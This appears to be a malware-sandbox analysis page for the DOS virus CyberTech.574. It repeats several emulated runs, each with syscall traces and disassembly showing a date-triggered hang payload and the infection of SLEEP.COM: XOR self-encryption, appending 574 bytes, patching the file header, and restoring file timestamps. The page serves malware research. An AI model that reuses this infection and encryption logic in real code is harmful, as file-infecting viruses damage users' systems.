Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.574

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:45:20.807359106Z 42 PC: 12e56 | Get date 0x12e56: cmp dh, 8
0x12e59: jb 0x12e6f
0x12e5b: cmp dl, 0x16
0x12e5e: jb 0x12e6f
0x12e60: cmp al, 3
0x12e62: jne 0x12e6f
0x12e64: mov ah, 9
0x12e66: lea dx, word ptr [bp + 0x129]
0x12e6a: int 0x21
0x12e6c: cli
0x12e6d: jmp 0x12e6c
0x12e6f: mov ah, 0x1a
0x12e71: mov dx, 0xfc00
0x12e74: int 0x21
0x12e76: mov ah, 0x4e
0x12e78: lea dx, word ptr [bp + 0x123]
0x12e7c: xor cx, cx
0x12e7e: int 0x21
0x12e80: jae 0x12e85
0x12e82: jmp 0x12f1f
2018-12-17T22:45:20.809894922Z 26 PC: 12e76 | Set disk transfer address
2018-12-17T22:45:20.810917952Z 78 PC: 12e80 | Find first file
2018-12-17T22:45:20.817290901Z 67 PC: 12e8d | Get or set file attributes
2018-12-17T22:45:20.823423014Z 67 PC: 12e95 | Get or set file attributes
2018-12-17T22:45:20.839655549Z 61 PC: 12e9a | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:45:20.846066382Z 87 PC: 12ea0 | Get or set file date and time
2018-12-17T22:45:20.848900143Z 63 PC: 12ead | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:20.855457182Z 66 PC: 12ed3 | Move file pointer
2018-12-17T22:45:20.857244397Z 44 PC: 12ee6 | Get time 0x12ee6: mov byte ptr cs:[bp + 0x17], dl
0x12eea: lea si, word ptr [bp + 4]
0x12eed: mov di, 0xfd00
0x12ef0: mov cx, 0x17
0x12ef3: rep movsb byte ptr es:[di], byte ptr [si]
0x12ef5: lea si, word ptr [bp + 0x1b]
0x12ef8: mov cx, 0x227
0x12efb: lodsb al, byte ptr [si]
0x12efc: xor al, dl
0x12efe: stosb byte ptr es:[di], al
0x12eff: loop 0x12efb
0x12f01: mov ah, 0x40
0x12f03: mov dx, 0xfd00
0x12f06: mov cx, 0x23e
0x12f09: int 0x21
0x12f0b: mov ax, 0x4200
0x12f0e: call 0x22ecd
0x12f11: mov ah, 0x40
0x12f13: lea dx, word ptr [bp + 0x120]
0x12f17: mov cx, 4
2018-12-17T22:45:20.868446708Z 64 PC: 12f0b | Write file or device (Write 574 bytes on handle 5)
2018-12-17T22:45:20.87681983Z 66 PC: 12ed3 | Move file pointer
2018-12-17T22:45:20.878271793Z 64 PC: 12f1c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:20.885183618Z 87 PC: 12f35 | Get or set file date and time
2018-12-17T22:45:20.886844728Z 62 PC: 12f39 | Close file
2018-12-17T22:45:20.894860433Z 67 PC: 12f42 | Get or set file attributes
2018-12-17T22:45:20.905449771Z 26 PC: 12f26 | Set disk transfer address

{"DateBased":true,"Day":22,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8516,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:05:04.05467622Z 42 PC: 12e56 | Get date 0x12e56: cmp dh, 8
0x12e59: jb 0x12e6f
0x12e5b: cmp dl, 0x16
0x12e5e: jb 0x12e6f
0x12e60: cmp al, 3
0x12e62: jne 0x12e6f
0x12e64: mov ah, 9
0x12e66: lea dx, word ptr [bp + 0x129]
0x12e6a: int 0x21
0x12e6c: cli
0x12e6d: jmp 0x12e6c
0x12e6f: mov ah, 0x1a
0x12e71: mov dx, 0xfc00
0x12e74: int 0x21
0x12e76: mov ah, 0x4e
0x12e78: lea dx, word ptr [bp + 0x123]
0x12e7c: xor cx, cx
0x12e7e: int 0x21
0x12e80: jae 0x12e85
0x12e82: jmp 0x12f1f
2018-12-25T12:05:04.056505507Z 26 PC: 12e76 | Set disk transfer address
2018-12-25T12:05:04.057251501Z 78 PC: 12e80 | Find first file
2018-12-25T12:05:04.060723512Z 67 PC: 12e8d | Get or set file attributes
2018-12-25T12:05:04.065658476Z 67 PC: 12e95 | Get or set file attributes
2018-12-25T12:05:04.080721878Z 61 PC: 12e9a | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:05:04.084692471Z 87 PC: 12ea0 | Get or set file date and time
2018-12-25T12:05:04.086208194Z 63 PC: 12ead | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:05:04.092200651Z 66 PC: 12ed3 | Move file pointer
2018-12-25T12:05:04.093450543Z 44 PC: 12ee6 | Get time 0x12ee6: mov byte ptr cs:[bp + 0x17], dl
0x12eea: lea si, word ptr [bp + 4]
0x12eed: mov di, 0xfd00
0x12ef0: mov cx, 0x17
0x12ef3: rep movsb byte ptr es:[di], byte ptr [si]
0x12ef5: lea si, word ptr [bp + 0x1b]
0x12ef8: mov cx, 0x227
0x12efb: lodsb al, byte ptr [si]
0x12efc: xor al, dl
0x12efe: stosb byte ptr es:[di], al
0x12eff: loop 0x12efb
0x12f01: mov ah, 0x40
0x12f03: mov dx, 0xfd00
0x12f06: mov cx, 0x23e
0x12f09: int 0x21
0x12f0b: mov ax, 0x4200
0x12f0e: call 0x22ecd
0x12f11: mov ah, 0x40
0x12f13: lea dx, word ptr [bp + 0x120]
0x12f17: mov cx, 4
2018-12-25T12:05:04.095682144Z 64 PC: 12f0b | Write file or device (Write 574 bytes on handle 5)
2018-12-25T12:05:04.103088953Z 66 PC: 12ed3 | Move file pointer (See above)
2018-12-25T12:05:04.104232912Z 64 PC: 12f1c | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:05:04.109782156Z 87 PC: 12f35 | Get or set file date and time
2018-12-25T12:05:04.111036597Z 62 PC: 12f39 | Close file
2018-12-25T12:05:04.115896147Z 67 PC: 12f42 | Get or set file attributes
2018-12-25T12:05:04.122012984Z 26 PC: 12f26 | Set disk transfer address

{"DateBased":true,"Day":27,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8516,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:05:04.454629325Z 42 PC: 12e56 | Get date 0x12e56: cmp dh, 8
0x12e59: jb 0x12e6f
0x12e5b: cmp dl, 0x16
0x12e5e: jb 0x12e6f
0x12e60: cmp al, 3
0x12e62: jne 0x12e6f
0x12e64: mov ah, 9
0x12e66: lea dx, word ptr [bp + 0x129]
0x12e6a: int 0x21
0x12e6c: cli
0x12e6d: jmp 0x12e6c
0x12e6f: mov ah, 0x1a
0x12e71: mov dx, 0xfc00
0x12e74: int 0x21
0x12e76: mov ah, 0x4e
0x12e78: lea dx, word ptr [bp + 0x123]
0x12e7c: xor cx, cx
0x12e7e: int 0x21
0x12e80: jae 0x12e85
0x12e82: jmp 0x12f1f
2018-12-25T12:05:04.456349454Z 9 PC: 12e6c | Display string (Could not find end pointer)

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8516,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:05:05.049188501Z 42 PC: 12e56 | Get date 0x12e56: cmp dh, 8
0x12e59: jb 0x12e6f
0x12e5b: cmp dl, 0x16
0x12e5e: jb 0x12e6f
0x12e60: cmp al, 3
0x12e62: jne 0x12e6f
0x12e64: mov ah, 9
0x12e66: lea dx, word ptr [bp + 0x129]
0x12e6a: int 0x21
0x12e6c: cli
0x12e6d: jmp 0x12e6c
0x12e6f: mov ah, 0x1a
0x12e71: mov dx, 0xfc00
0x12e74: int 0x21
0x12e76: mov ah, 0x4e
0x12e78: lea dx, word ptr [bp + 0x123]
0x12e7c: xor cx, cx
0x12e7e: int 0x21
0x12e80: jae 0x12e85
0x12e82: jmp 0x12f1f
2018-12-25T12:05:05.051529788Z 26 PC: 12e76 | Set disk transfer address
2018-12-25T12:05:05.05248019Z 78 PC: 12e80 | Find first file
2018-12-25T12:05:05.058074811Z 67 PC: 12e8d | Get or set file attributes
2018-12-25T12:05:05.063767204Z 67 PC: 12e95 | Get or set file attributes
2018-12-25T12:05:05.082300952Z 61 PC: 12e9a | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:05:05.088494425Z 87 PC: 12ea0 | Get or set file date and time
2018-12-25T12:05:05.089974463Z 63 PC: 12ead | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:05:05.093821179Z 66 PC: 12ed3 | Move file pointer
2018-12-25T12:05:05.094695401Z 44 PC: 12ee6 | Get time 0x12ee6: mov byte ptr cs:[bp + 0x17], dl
0x12eea: lea si, word ptr [bp + 4]
0x12eed: mov di, 0xfd00
0x12ef0: mov cx, 0x17
0x12ef3: rep movsb byte ptr es:[di], byte ptr [si]
0x12ef5: lea si, word ptr [bp + 0x1b]
0x12ef8: mov cx, 0x227
0x12efb: lodsb al, byte ptr [si]
0x12efc: xor al, dl
0x12efe: stosb byte ptr es:[di], al
0x12eff: loop 0x12efb
0x12f01: mov ah, 0x40
0x12f03: mov dx, 0xfd00
0x12f06: mov cx, 0x23e
0x12f09: int 0x21
0x12f0b: mov ax, 0x4200
0x12f0e: call 0x22ecd
0x12f11: mov ah, 0x40
0x12f13: lea dx, word ptr [bp + 0x120]
0x12f17: mov cx, 4
2018-12-25T12:05:05.096343346Z 64 PC: 12f0b | Write file or device (Write 574 bytes on handle 5)
2018-12-25T12:05:05.101120018Z 66 PC: 12ed3 | Move file pointer (See above)
2018-12-25T12:05:05.101946049Z 64 PC: 12f1c | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:05:05.106116197Z 87 PC: 12f35 | Get or set file date and time
2018-12-25T12:05:05.10705148Z 62 PC: 12f39 | Close file
2018-12-25T12:05:05.111811764Z 67 PC: 12f42 | Get or set file attributes
2018-12-25T12:05:05.118200253Z 26 PC: 12f26 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8516,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:05:05.268987103Z 42 PC: 12e56 | Get date 0x12e56: cmp dh, 8
0x12e59: jb 0x12e6f
0x12e5b: cmp dl, 0x16
0x12e5e: jb 0x12e6f
0x12e60: cmp al, 3
0x12e62: jne 0x12e6f
0x12e64: mov ah, 9
0x12e66: lea dx, word ptr [bp + 0x129]
0x12e6a: int 0x21
0x12e6c: cli
0x12e6d: jmp 0x12e6c
0x12e6f: mov ah, 0x1a
0x12e71: mov dx, 0xfc00
0x12e74: int 0x21
0x12e76: mov ah, 0x4e
0x12e78: lea dx, word ptr [bp + 0x123]
0x12e7c: xor cx, cx
0x12e7e: int 0x21
0x12e80: jae 0x12e85
0x12e82: jmp 0x12f1f
2018-12-25T12:05:05.271436156Z 26 PC: 12e76 | Set disk transfer address
2018-12-25T12:05:05.272302323Z 78 PC: 12e80 | Find first file
2018-12-25T12:05:05.277947862Z 67 PC: 12e8d | Get or set file attributes
2018-12-25T12:05:05.283872546Z 67 PC: 12e95 | Get or set file attributes
2018-12-25T12:05:05.299549691Z 61 PC: 12e9a | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:05:05.305864332Z 87 PC: 12ea0 | Get or set file date and time
2018-12-25T12:05:05.307548943Z 63 PC: 12ead | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:05:05.31345025Z 66 PC: 12ed3 | Move file pointer
2018-12-25T12:05:05.314672316Z 44 PC: 12ee6 | Get time 0x12ee6: mov byte ptr cs:[bp + 0x17], dl
0x12eea: lea si, word ptr [bp + 4]
0x12eed: mov di, 0xfd00
0x12ef0: mov cx, 0x17
0x12ef3: rep movsb byte ptr es:[di], byte ptr [si]
0x12ef5: lea si, word ptr [bp + 0x1b]
0x12ef8: mov cx, 0x227
0x12efb: lodsb al, byte ptr [si]
0x12efc: xor al, dl
0x12efe: stosb byte ptr es:[di], al
0x12eff: loop 0x12efb
0x12f01: mov ah, 0x40
0x12f03: mov dx, 0xfd00
0x12f06: mov cx, 0x23e
0x12f09: int 0x21
0x12f0b: mov ax, 0x4200
0x12f0e: call 0x22ecd
0x12f11: mov ah, 0x40
0x12f13: lea dx, word ptr [bp + 0x120]
0x12f17: mov cx, 4
2018-12-25T12:05:05.316819521Z 64 PC: 12f0b | Write file or device (Write 574 bytes on handle 5)
2018-12-25T12:05:05.325169819Z 66 PC: 12ed3 | Move file pointer (See above)
2018-12-25T12:05:05.326316126Z 64 PC: 12f1c | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:05:05.332639338Z 87 PC: 12f35 | Get or set file date and time
2018-12-25T12:05:05.334136059Z 62 PC: 12f39 | Close file
2018-12-25T12:05:05.341512952Z 67 PC: 12f42 | Get or set file attributes
2018-12-25T12:05:05.351889385Z 26 PC: 12f26 | Set disk transfer address